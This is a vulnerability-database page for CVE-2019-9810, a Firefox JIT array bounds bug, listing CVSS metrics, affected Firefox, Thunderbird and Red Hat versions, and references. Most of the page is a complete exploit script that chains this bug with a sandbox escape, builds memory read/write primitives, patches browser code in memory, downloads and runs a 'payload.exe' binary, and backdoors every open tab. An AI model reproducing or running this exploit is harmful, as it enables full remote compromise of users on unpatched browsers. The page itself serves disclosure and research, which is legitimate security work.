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CVE-2019-9810 : Detail

CVE-2019-9810

8.8
/
HIGH
Overflow
95.16%V3
Network
2019-04-26 14:10 +00:00
2019-12-09 16:06 +00:00
CVE.org
NVD

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Descriptions

Incorrect alias information in IonMonkey JIT compiler for Array.prototype.slice method may lead to missing bounds check and a buffer overflow. This vulnerability affects Firefox < 66.0.1, Firefox ESR < 60.6.1, and Thunderbird < 60.6.1.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46605

Publication date : 2019-03-25 23:00 +00:00
Author : xuechiyaobai
EDB Verified : No

Exploit Database EDB-ID : 47752

Publication date : 2019-12-06 23:00 +00:00
Author : Axel Souchet
EDB Verified : No

// Axel '0vercl0k' Souchet - November 19 2019 // EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47752.zip // 0:000> ? xul!sAutomationPrefIsSet - xul // Evaluate expression: 85724947 = 00000000`051c0f13 const XulsAutomationPrefIsSet = 0x051c0f13n; // 0:000> ? xul!disabledForTest - xul // Evaluate expression: 85400792 = 00000000`05171cd8 const XuldisabledForTest = 0x05171cd8n; const Debug = false; const dbg = p => { if(Debug == false) { return; } print(`Debug: ${p}`); }; const ArraySize = 0x5; const WantedArraySize = 0x42424242; let arr = null; let Trigger = false; const Spray = []; function f(Special, Idx, Value) { arr[Idx] = 0x41414141; Special.slice(); arr[Idx] = Value; } class SoSpecial extends Array { static get [Symbol.species]() { return function() { if(!Trigger) { return; } arr.length = 0; for(let i = 0; i < 0x40000; i++) { Spray.push(new Uint32Array(ArraySize)); } }; } }; function GetMeBiggie() { for(let Idx = 0; Idx < 0x100000; Idx++) { Spray.push(new Uint32Array(ArraySize)); } const SpecialSnowFlake = new SoSpecial(); for(let Idx = 0; Idx < 10; Idx++) { arr = new Array(0x7e); Trigger = false; for(let Idx = 0; Idx < 0x400; Idx++) { f(SpecialSnowFlake, 0x70, Idx); } Trigger = true; f(SpecialSnowFlake, 47, WantedArraySize); if(arr.length != 0) { continue; } const Biggie = Spray.find(e => e.length != ArraySize); if(Biggie != null) { return Biggie; } } return null; } function ExploitCVE_2019_9810() { print = console.log; const Biggie = GetMeBiggie(); if(Biggie == null || Biggie.length != WantedArraySize) { dbg('Failed to set things up :(.'); return false; } // // Scan for one of the Uint32Array we sprayed earlier. // let Biggie2AdjacentSize = null; const JSValueArraySize = 0xfffa000000000000n | BigInt(ArraySize); for(let Idx = 0; Idx < 0x100; Idx++) { const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]); if(Qword == JSValueArraySize) { Biggie2AdjacentSize = Idx + 1; break; } } if(Biggie2AdjacentSize == null) { dbg('Failed to find an adjacent array :(.'); return false; } // // Use the array length as a marker. // const AdjacentArraySize = 0xbbccdd; Biggie[Biggie2AdjacentSize] = AdjacentArraySize; // // Find the array now.. // const AdjacentArray = Spray.find( e => e.length == AdjacentArraySize ); if(AdjacentArray == null) { dbg('Failed to find the corrupted adjacent array :(.'); return false; } const ReadPtr = Addr => { const SizeInDwords = 2; const SavedSlot = [ Biggie[Biggie2AdjacentSize], Biggie[Biggie2AdjacentSize + 2 + 2], Biggie[Biggie2AdjacentSize + 2 + 2 + 1] ]; // // Corrupt the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SizeInDwords; Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn); Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n); // // Read arbitrary location now. // const Ptr = BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]); // // Restore the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SavedSlot[0]; Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1]; Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2]; return Ptr; }; const WritePtr = (Addr, Value) => { const SizeInDwords = 2; const SavedSlot = [ Biggie[Biggie2AdjacentSize], Biggie[Biggie2AdjacentSize + 2 + 2], Biggie[Biggie2AdjacentSize + 2 + 2 + 1] ]; // // Corrupt the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SizeInDwords; Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn); Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n); // // Write to arbitrary location now. // AdjacentArray[0] = Number(Value & 0xffffffffn); AdjacentArray[1] = Number(Value >> 32n); // // Restore the `AdjacentArray`'s size / data slot. // Biggie[Biggie2AdjacentSize] = SavedSlot[0]; Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1]; Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2]; return true; }; const AddrOf = Obj => { AdjacentArray.hell_on_earth = Obj; // 0:000> dqs 1ae5716e76a0 // 00001ae5`716e76a0 00001ae5`7167dfd0 // 00001ae5`716e76a8 000010c5`8e73c6a0 // 00001ae5`716e76b0 00000238`9334e790 // 00001ae5`716e76b8 00007ff6`6be55010 js!emptyElementsHeader+0x10 // 00001ae5`716e76c0 fffa0000`00000000 // 00001ae5`716e76c8 fff88000`00bbccdd // 0:000> !telescope 0x00002389334e790 // 0x000002389334e790|+0x0000: 0xfffe1ae5716e7640 (Unknown) const SlotOffset = Biggie2AdjacentSize - (3 * 2); const SlotsAddress = BigInt.fromUint32s( Biggie.slice(SlotOffset, SlotOffset + 2) ); return BigInt.fromJSValue(ReadPtr(SlotsAddress)); }; // // Let's move the battle field to the TenuredHeap // const ArrayBufferLength = 10; const AB1 = new ArrayBuffer(ArrayBufferLength); const AB2 = new ArrayBuffer(ArrayBufferLength); const AB1Address = AddrOf(AB1); const AB2Address = AddrOf(AB2); dbg(`AddrOf(AB1): ${AB1Address.toString(16)}`); dbg(`AddrOf(AB2): ${AB2Address.toString(16)}`); WritePtr(AB1Address + 0x28n, 0xfff8800000010000n); WritePtr(AB2Address + 0x28n, 0xfff8800000010000n); if(AB1.byteLength != AB2.byteLength && AB1.byteLength != 0x10000) { dbg('Corrupting the ArrayBuffers failed :(.'); return false; } const Primitives = BuildPrimitives(AB1, AB2); Math.atan2(AB2); // // All right, time to clean up behind ourselves. // Let's fix AdjacentArray's size first (as we are using Biggie to do it). // Biggie[Biggie2AdjacentSize] = ArraySize; // // Let's fix Biggie's length as we are done with it. // 0:000> !smdump_jsvalue 0xfffe11e6fa2f7580 // Detected xul.dll, using it as js module. // 11e6fa2f7580: js!js::TypedArrayObject: Type: Uint32Array // 11e6fa2f7580: js!js::TypedArrayObject: Length: 1337 // 11e6fa2f7580: js!js::TypedArrayObject: ByteLength: 5348 // 11e6fa2f7580: js!js::TypedArrayObject: ByteOffset: 0 // 11e6fa2f7580: js!js::TypedArrayObject: Content: Uint32Array({Length:1337, ...}) // @$smdump_jsvalue(0xfffe11e6fa2f7580) // // 0:000> !telescope 0x11e6fa2f7580 // 0x000011e6fa2f7580|+0x0000: 0x000006a0415c37f0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array)) // 0x000011e6fa2f7588|+0x0008: 0x000006a041564100 (Unknown) -> 0x000006a041583cc0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array)) // 0x000011e6fa2f7590|+0x0010: 0x0000000000000000 (Unknown) // 0x000011e6fa2f7598|+0x0018: 0x00007ff93e0f41d8 (xul.dll (.rdata)) -> 0xfff9800000000000 (Unknown) // 0x000011e6fa2f75a0|+0x0020: 0xfffe11e6fa2f70c0 (Unknown) // 0x000011e6fa2f75a8|+0x0028: 0xfff8800000000539 (Unknown) // const BiggieLengthAddress = Primitives.AddrOf(Biggie) + 0x28n; Primitives.WritePtr(BiggieLengthAddress, 0xfff8800000000000n | BigInt(ArraySize)); // // From there, we're kinda done - let's get god mode and fuck off. // GodMode(AB1, AB2, Primitives, XulsAutomationPrefIsSet, XuldisabledForTest); return true; } // // This function uses a `Sandbox` with a `System Principal` to be able to grab the // `docShell` object off the `window` object. Once it has it, it can grab the frame // `messageManager` that we need to trigger the sandbox escape. // function GetContentFrameMessageManager(Win) { function _GetDocShellFromWindow(Win) { return Win.docShell; } const { Services } = Components.utils.import('resource://gre/modules/Services.jsm'); const Cu = Components.utils; const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal()); const Code = _GetDocShellFromWindow.toSource(); Cu.evalInSandbox(Code, Sbx); const DocShell = Sbx._GetDocShellFromWindow(Win); Cu.nukeSandbox(Sbx); return DocShell.messageManager; } // // This function sends a 'Prompt:Open' message over the frame message manager IPC, // with an URI. // function PromptOpen(Uri) { const FrameMM = GetContentFrameMessageManager(window); const Result = FrameMM.sendSyncMessage('Prompt:Open', { uri: Uri }); return Result; } // // This is the function that abuses the `Prompt:Open` message to re-exploit the parent // process and escape the sandbox. // function TriggerCVE_2019_11708() { PromptOpen(`${location.origin}?stage3`); } // // This is the function that gets written into the frame script the exploit drops // on disk. A trick to debug this code is to pop-up a `Browser Toolbox` as well as a // `Browser Content toolbox` and execute the following in the `Browser Toolbox`: // Services.mm.loadFrameScript('file://frame-script.js', true) // This should break in the `Browser Content Toolbox` debugger window. // function FrameScriptPayload() { function PimpMyDocument() { // // Don't infect doar-e and leave Cthulhu alone... // if(content.document.location.origin == 'https://doar-e.github.io' || content.document.location.origin == 'http://localhost:8000') { return; } // // .. as well as don't play with non http origins (I've seen empty/null origins). // if(!content.document.location.origin.startsWith('http')) { return; } // // Time to party! Let's find every `A` tag and make them point to doar-e. // We also use this opportunity to make every `backgroundImage` / `backgroundColor` // style attributes to `none` / `transparent` to not hide the doar-e background. // for(const Node of content.document.getElementsByTagName('*')) { if(Node.tagName == 'A') { Node.href = 'https://doar-e.github.io/'; continue; } Node.style.backgroundImage = 'none'; Node.style.backgroundColor = 'transparent'; } // // Change the background. // content.document.body.style.backgroundImage = 'url(https://doar-e.github.io/images/themes03_light.gif)'; } // // First we set an event handler to make sure to be invoked when a new `content` // is created. Keep in mind that we basically have ~three cases to handle: // 1/ We are getting injected in an already existing tab, // 2/ We are getting injected in a new tab, // 3/ A user clicks on a link and a new `content` gets created. // We basically want to have control over those three events. The below ensures // we get a chance to execute code for 2/. // addEventListener('DOMWindowCreated', FrameScriptPayload); dump(`Hello from: ${content.location.origin}\n`); if(content.document != null && content.document.body != null) { // // Either the tab already existed in which case we already have a document which we // can play with... // PimpMyDocument(); return; } // // ..Or it doesn't exist quite yet and we want to get a callback when it does. // content.addEventListener('load', PimpMyDocument); } // // This function drops a file (open + write + close) using the OSFile JS module. // function DropFile(Path, Content) { // // We expect either a string or a TypedArray. // const Encoder = new TextEncoder(); const ContentBuffer = (typeof Content == 'string') ? Encoder.encode(Content) : Content; return OS.File.open(Path, {write: true, truncate: true}) .then(File => { return Promise.all([ // We return the File object in order to be able to use it in the // next `.then`. This allows us to chain the `write` and the `close` // without another level of deepness. File, File.write(ContentBuffer), ]); }) .then((Results) => { const [File, _WrittenBytes] = Results; return File.close(); }); } // // This function drops / executes a payload binary, as well as inject a frame script // into every tabs. // function Payload() { // // Import a bunch of JS modules we will be using later. // const { OS } = Components.utils.import('resource://gre/modules/osfile.jsm'); const { Services } = Components.utils.import('resource://gre/modules/Services.jsm'); // // First order of business, we create a first promise that downloads the payload // (aka Slime Shady), drops it in the profile directory and finally executes it. // const Dir = OS.Constants.Path.localProfileDir; const PayloadPath = OS.Path.join(Dir, 'slimeshady.exe'); const PayloadPromise = fetch(`${location.origin}/payload/bin/payload.exe`) .then((Response) => { // // We return the result as a TypedArray as this is what `DropFile` // expects for binary content. // return Response.arrayBuffer(); }) .then((Content) => { // // Time to drop the file now. Note that we return the promise so // the next `then` executes when the file has been successfully dropped. // dbg(`Payload downloaded.`); return DropFile(PayloadPath, new Uint8Array(Content)); }) .then(() => { // // At this point, we are ready to spawn the payload, let's do it! // dbg(`Creating the process.. ${PayloadPath}`); CreateProcessA(PayloadPath); }) .catch(Ex => { console.log(`Exception in payload promise: ${Ex}`); }); // // Second order of business is to backdoor the tabs. To do so, we drop a frame // script that we inject into every tabs. // const FramePayloadContent = `${FrameScriptPayload.toSource()} FrameScriptPayload();`; const ScriptPath = OS.Path.join(Dir, 'frame-script.js'); const FramePayloadPromise = DropFile(ScriptPath, FramePayloadContent) .then(() => { // // At this time we are ready to inject the frame script into the tabs. // Note that we need to drop the file locally / use the file:// scheme // so that the tabs accept to interpret the file (unfortunately, // remote ones are ignored). // dbg(`About to loadFrameScript: ${ScriptPath}`); Services.mm.loadFrameScript(`file://${ScriptPath}`, true); }) .catch(Ex => { console.log(`Exception in frame payload promise: ${Ex}`); }); // // Last but not least, we set up code to execute on completion of both the above // promises. You have to remember that at this point the modal window is still open // and blocks navigation / UI interaction, so we need to close it as soon as we can // to be as stealth as possible. // Just for kicks, we spawn a calculator when we're done because why not. // Promise.all([PayloadPromise, FramePayloadPromise]) .then(() => { // // .. just for kicks. // CreateProcessA('c:\\windows\\system32\\calc.exe'); // // Phew, we made it here let's close the window :). // window.close(); }) .catch(Ex => { console.log(`Exception in clean up promise: ${Ex}`); window.close(); }); } // // This function patches the inlined portion of xpc::AreNonLocalConnectionsDisabled() // in xul!mozilla::net::nsSocketTransport::InitiateSocket to avoid an assert when we have // god mode. It's far from being the cleanest way, but this is the easiest way I found. // // nsresult nsSocketTransport::InitiateSocket() { // SOCKET_LOG(("nsSocketTransport::InitiateSocket [this=%p]\n", this)); // nsresult rv; // bool isLocal; // IsLocal(&isLocal); // if (gIOService->IsNetTearingDown()) { // return NS_ERROR_ABORT; // } // if (gIOService->IsOffline()) { // if (!isLocal) return NS_ERROR_OFFLINE; // } else if (!isLocal) { // if (NS_SUCCEEDED(mCondition) && xpc::AreNonLocalConnectionsDisabled() && // !(IsIPAddrAny(&mNetAddr) || IsIPAddrLocal(&mNetAddr))) { // nsAutoCString ipaddr; // RefPtr netaddr = new nsNetAddr(&mNetAddr); // netaddr->GetAddress(ipaddr); // fprintf_stderr( // stderr, // "FATAL ERROR: Non-local network connections are disabled and a " // "connection " // "attempt to %s (%s) was made.\nYou should only access hostnames " // "available via the test networking proxy (if running mochitests) " // "or from a test-specific httpd.js server (if running xpcshell " // "tests). " // "Browser services should be disabled or redirected to a local " // "server.\n", // mHost.get(), ipaddr.get()); // MOZ_CRASH("Attempting to connect to non-local address!"); // } // } // function PatchInitiateSocket() { // // Let's patch xul!mozilla::net::nsSocketTransport::InitiateSocket // so that it doesn't assert on us because we turned on testing features. // This is the assert we hit without the patch: // // FATAL ERROR: Non-local network connections are disabled and a connection attempt to google.com (172.217.14.206) was made. // You should only access hostnames available via the test networking proxy // (if running mochitests) or from a test-specific httpd.js server (if running // xpcshell tests). Browser services should be disabled or redirected to a local // server. // (4014.82c): Break instruction exception - code 80000003 (first chance) // xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe92: // 00007ff9`69a66372 cc int 3 // // Here is the disasembly before: // // 0:062> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 // xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]: // 00007ff9`3f9c55c6 8b0d0cc7ff04 mov ecx,dword ptr [xul!disabledForTest (00007ff9`449c1cd8)] // 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh // 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1) // 00007ff9`3f9c55d1 488d0ddaa3df04 lea rcx,[xul!`string' (00007ff9`447bf9b2)] // // And after: // // 0:068> u xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 // xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 [c:\mozilla-central\netwerk\base\nsSocketTransport2.cpp @ 1264]: // 00007ff9`3f9c55c6 90 nop // 00007ff9`3f9c55c7 90 nop // 00007ff9`3f9c55c8 90 nop // 00007ff9`3f9c55c9 4831c9 xor rcx,rcx // 00007ff9`3f9c55cc 83f9ff cmp ecx,0FFFFFFFFh // 00007ff9`3f9c55cf 7520 jne xul!mozilla::net::nsSocketTransport::InitiateSocket+0x111 (00007ff9`3f9c55f1) // // 0:051> ? xul!mozilla::net::nsSocketTransport::InitiateSocket+0xe6 - xul // Evaluate expression: 1529286 = 00000000`001755c6 // const PatchOffset = 0x001755c6n; const XulBase = BigInt(GetModuleHandleA('xul.dll').toString()); const PatchAddress = XulBase + PatchOffset; const PatchContent = [0x90, 0x90, 0x90, 0x48, 0x31, 0xc9]; PatchCode(PatchAddress, PatchContent); } function Main(Route) { // // One way to tell if we were successful with our data corruption is by checking // if we have access to the PrivilegeManager. If we do, it means we are running // with a privileged context, if not we don't. // const RunningFromPrivilegedJS = window.netscape.security.PrivilegeManager != undefined; if(Route == '?stage1') { // // If we are asked to run stage1 with access to a privileged context, we skip // it and move on to stage2. // if(RunningFromPrivilegedJS) { return Main('?stage2'); } // // Stage1 exploits CVE-2019-9810 and performs a data corruption attack to access // a privileged JS context. // if(!ExploitCVE_2019_9810()) { console.log('Failed :('); return; } // // Once we are done with the data corruption, we refresh the page to get access // to the privileged JS context. Moving on to stage2 \o/. // location.replace(`${location.origin}/?stage2`); } if(Route == '?stage2') { // // At this point we expect to have access to a privileged JS context. // If we don't it's probably bad news, so we'll just bail. // if(!RunningFromPrivilegedJS) { alert('problem'); return; } // // Turn on privileges so that we can access the `Components` object. // window.netscape.security.PrivilegeManager.enablePrivilege('doar-e'); // // Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket // to avoid the Firefox being unhappy. // PatchInitiateSocket() // // Now that we have access to the privileged context, we are also able to talk // over the frame message manager IPC and trigger CVE-2019-11708 to escape the // exploit the parent process. // TriggerCVE_2019_11708(); } if(Route == '?stage3') { // // We should now be running in the broker which means we can exploit CVE-2019-9810 // to perform the same attack than in stage1 but this time in the parent process. // if(!ExploitCVE_2019_9810()) { console.log('Elevation failed, closing the window.'); window.close(); } // // If we are successful it means that by refreshing the page, we should have // access to the privileged JS context from the parent process. // This basically means full compromise and we move on to backdooring the tabs, // as well as dropping the payload. // location.replace(`${location.origin}/?final`); } if(Route == '?final') { // // All right, we start of by turning on privileges so that we can access `Components` // & cie. // window.netscape.security.PrivilegeManager.enablePrivilege('doar-e'); // // Before going further, let's fix xul!mozilla::net::nsSocketTransport::InitiateSocket // to avoid the Firefox being unhappy. // PatchInitiateSocket() // // We've worked hard to get here and it's time to drop the goodies :). // Payload(); } } function Onload() { if(location.search != '') { Main(location.search); } }

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 66.0.1

Mozilla>>Firefox_esr >> Version To (excluding) 60.6.1

Mozilla>>Thunderbird >> Version To (excluding) 60.6.1

Configuraton 0

Redhat>>Enterprise_linux >> Version 8.0

Redhat>>Enterprise_linux_eus >> Version 8.1

Redhat>>Enterprise_linux_eus >> Version 8.2

Redhat>>Enterprise_linux_eus >> Version 8.4

Redhat>>Enterprise_linux_server_aus >> Version 8.2

Redhat>>Enterprise_linux_server_aus >> Version 8.4

Redhat>>Enterprise_linux_server_tus >> Version 8.2

Redhat>>Enterprise_linux_server_tus >> Version 8.4

References

https://access.redhat.com/errata/RHSA-2019:0966
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:1144
Tags : vendor-advisory, x_refsource_REDHAT

More information
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